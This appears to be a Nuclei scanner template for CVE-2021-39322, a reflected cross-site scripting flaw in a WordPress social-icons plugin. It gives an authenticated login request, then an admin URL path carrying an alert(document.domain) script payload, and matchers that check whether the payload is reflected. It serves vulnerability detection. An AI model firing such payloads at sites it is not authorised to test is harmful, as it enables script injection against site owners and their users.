WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting

id: CVE-2021-39322

info:
  name: WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Easy Social Icons Plugin (3.0.9) or apply the vendor-provided patch to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5e0bf0b6-9809-426b-b1d4-1fb653083b58
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39322
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39322
    - https://wpvulndb.com/vulnerabilities/5e0bf0b6-9809-426b-b1d4-1fb653083b58
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39322
    cwe-id: CWE-79
    epss-score: 0.00234
    epss-percentile: 0.60718
    cpe: cpe:2.3:a:cybernetikz:easy_social_icons:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: cybernetikz
    product: easy_social_icons
    framework: wordpress
  tags: cve,cve2021,wordpress,wp-plugin,authenticated,wpscan,cybernetikz

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php/</script><script>alert(document.domain)</script>/?page=cnss_social_icon_page HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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